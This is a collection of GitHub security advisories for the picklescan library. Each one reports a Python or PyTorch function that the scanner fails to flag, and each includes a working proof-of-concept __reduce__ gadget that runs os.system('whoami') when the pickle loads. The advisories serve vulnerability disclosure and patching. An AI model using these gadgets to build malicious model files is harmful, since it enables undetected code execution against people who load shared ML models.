deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-q77w-mwjj-7mqx
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.30
Patched in: 0.0.30

Summary: Picklescan is missing detection when calling built-in python library asyncio.unix_events._UnixSubprocessTransport._start

Details:
### Summary

Using asyncio.unix_events._UnixSubprocessTransport._start function, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to asyncio.unix_events._UnixSubprocessTransport._start function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
from asyncio.unix_events import _UnixSubprocessTransport
from types import SimpleNamespace

class EvilAsyncioUnixSubprocessTransportStart:
    def __reduce__(self):
        fake_self = SimpleNamespace(
            _loop=None,
            _protocol=None,
            _proc=None
        )
        args = "whoami"  
        return _UnixSubprocessTransport._start, (
            fake_self, args, True, None, None, None, 0
        )
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-49gj-c84q-6qm9
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.30
Patched in: 0.0.30

Summary: Picklescan is missing detection when calling built-in python cProfile.run

Details:
### Summary

Using cProfile.run function, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to cProfile.run function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
import cProfile

class EvilCProfileRun:
    def __reduce__(self):
        # cProfile.run(statement) -> Profile().run(statement) -> exec(statement)
        return cProfile.run, ("__import__('os').system('whoami')",)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-9w88-8rmg-7g2p
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.30
Patched in: 0.0.30

Summary: Picklescan is missing detection when calling built-in python cProfile.runctx

Details:
### Summary

Using cProfile.runctx function, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to cProfile.runctx function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
import cProfile

class EvilCProfileRunctx:
    def __reduce__(self):
        # cProfile.runctx(cmd, globals, locals) -> exec(cmd, ...)
        return cProfile.runctx, ("__import__('os').system('whoami')", None, None)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-fqq6-7vqf-w3fg
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.30
Patched in: 0.0.30

Summary: Picklescan is missing detection when calling built-in python doctest.debug_script

Details:
### Summary

Using doctest.debug_script function, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to doctest.debug_script function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
from doctest import debug_script

class EvilDoctestDebugScript:
    def __reduce__(self):
        # debug_script(src, pm=True) -> exec(src, ...)
        return debug_script, ("__import__('os').system('whoami')", True)

```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-3gf5-cxq9-w223
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.30
Patched in: 0.0.30

Summary: Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode

Details:
### Summary

Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```

from idlelib.pyshell import ModifiedInterpreter
from types import SimpleNamespace

class EvilIdlelibPyshellModifiedInterpreterRuncode:
    def __reduce__(self):
        payload = "__import__('os').system('whoami')"
        fake_self = SimpleNamespace(
            locals={},
            tkconsole=SimpleNamespace(
                executing=False,
                beginexecuting=str,
                canceled=False,
                closing=False,
                showtraceback=str,
                endexecuting=str,
                stderr=None,
                text=SimpleNamespace(),
                getvar=str
            ),
            rpcclt=None,
            debugger=None,
            checklinecache=str,
            active_seq=None,
            showtraceback=str,
            canceled=False,
            closing=False
        )
        return ModifiedInterpreter.runcode, (fake_self, payload)

```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-j343-8v2j-ff7w
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.30
Patched in: 0.0.30

Summary: Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand

Details:
### Summary

Using idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcommand function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
from idlelib.pyshell import ModifiedInterpreter
from types import SimpleNamespace

class EvilIdlelibPyshellModifiedInterpreterRuncommand:
    def __reduce__(self):
        payload = "__import__('os').system('whoami')"
        fake_self = SimpleNamespace(
            locals={},
            tkconsole=SimpleNamespace(executing=False),
            rpcclt=None,
            debugger=None
        )
        return ModifiedInterpreter.runcommand, (fake_self, payload)

```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-m869-42cg-3xwr
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.30
Patched in: 0.0.30

Summary: Picklescan is missing detection when calling built-in python idlelib.run.Executive.runcode

Details:
### Summary

Using idlelib.run.Executive.runcode function, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.run.Executive.runcode function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
from idlelib.run import Executive
from types import SimpleNamespace

class EvilIdlelibRunExecutiveRuncode:
    def __reduce__(self):
        payload = "__import__('os').system('whoami')"
        fake_self = SimpleNamespace(locals={})
        return Executive.runcode, (fake_self, payload)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-p9w7-82w4-7q8m
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.30
Patched in: 0.0.30

Summary: Picklescan is missing detection when calling built-in python lib2to3.pgen2.pgen.ParserGenerator.make_label

Details:
### Summary

Using lib2to3.pgen2.pgen.ParserGenerator.make_label function, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to lib2to3.pgen2.pgen.ParserGenerator.make_label function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
from types import SimpleNamespace
from lib2to3.pgen2.pgen import ParserGenerator

class EvilLib2to3Pgen2ParserGeneratorMakeLabel:
    def __reduce__(self):
        c = SimpleNamespace(labels=[], keywords={}, tokens={})
        label = '""+__import__(\'os\').system(\'whoami\')'
        return ParserGenerator.make_label, (None, c, label)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-xp4f-hrf8-rxw7
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.30
Patched in: 0.0.30

Summary: Picklescan is missing detection when calling built-in python ensurepip._run_pip

Details:
### Summary

Using ensurepip._run_pip function, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to ensurepip._run_pip function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
from ensurepip import _run_pip

class EvilEnsurepipRunpip:
    def __reduce__(self):
        payload = "[(__import__('os').system('whoami'),)]"
        return _run_pip, (payload,)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-4whj-rm5r-c2v8
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.30
Patched in: 0.0.30

Summary: Picklescan is missing detection when calling pytorch function torch.utils.bottleneck.__main__.run_autograd_prof

Details:
### Summary

Using torch.utils.bottleneck.\_\_main\_\_.run_autograd_prof function, which is a pytorch library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.utils.bottleneck.__main__.run_autograd_prof function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
import torch.utils.bottleneck.__main__ as bottleneck_main

class EvilTorchUtilsBottleneckRunAutogradProf:
    def __reduce__(self):
        code = '__import__("os").system("whoami")'
        globs = {}
        return bottleneck_main.run_autograd_prof, (code, globs)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-9xph-j2h6-g47v
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.29
Patched in: 0.0.29

Summary: Picklescan has a missing detection when calling built-in python library idlelib.calltip.get_entity

Details:
### Summary

Using idlelib.calltip.get_entity function, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.calltip.get_entity function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
from idlelib.calltip import get_entity

class EvilCalltipGetEntity:
    def __reduce__(self):
        # get_entity(expression) -> eval(expression)
        return get_entity, ("__import__('os').system('whoami')",)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-8r4j-24qv-fmq9
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.29
Patched in: 0.0.29

Summary: Picklescan has a missing detection when calling built-in python idlelib.calltip.Calltip

Details:
### Summary

Using idlelib.calltip.Calltip.fetch_tip, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.calltip.Calltip.fetch_tip function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
class EvilCalltipFetchTip:
    def __reduce__(self):
        from idlelib.calltip import Calltip
        # fetch_tip(expression) -> get_entity(expression) -> eval(expression)
        return Calltip().fetch_tip, ("__import__('os').system('whoami')",)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-cj3c-v495-4xqh
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.29
Patched in: 0.0.29

Summary: Picklescan has a missing detection when calling built-in python code.InteractiveInterpreter

Details:
### Summary

Using code.InteractiveInterpreter.runcode, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to code.InteractiveInterpreter.runcode function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
class EvilCodeRuncode:
    def __reduce__(self):
        from code import InteractiveInterpreter
        # InteractiveInterpreter().runcode(cmd) -> exec(cmd)
        return InteractiveInterpreter().runcode, ("__import__('os').system('whoami')",)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-7cq8-mj8x-j263
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.29
Patched in: 0.0.29

Summary: Picklescan has a missing detection when calling built-in python idlelib.autocomplete.AutoComplete.fetch_completions

Details:
### Summary

Using idlelib.autocomplete.AutoComplete.fetch_completions, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.autocomplete.AutoComplete.fetch_completions function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
class EvilIdlelibAutocompleteFetchCompletions:
    def __reduce__(self):
        from idlelib.autocomplete import AutoComplete, ATTRS
        return AutoComplete().fetch_completions, ("__import__('os').system('whoami')", ATTRS)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-6w4w-5w54-rjvr
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.29
Patched in: 0.0.29

Summary: Picklescan has a missing detection when calling built-in python idlelib.autocomplete.AutoComplete.get_entity

Details:
### Summary

Using idlelib.autocomplete.AutoComplete.get_entity, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.autocomplete.AutoComplete.get_entity function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
class EvilIdlelibAutocompleteGetEntity:
    def __reduce__(self):
        from idlelib.autocomplete import AutoComplete
        return AutoComplete().get_entity, ("__import__('os').system('whoami')",)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu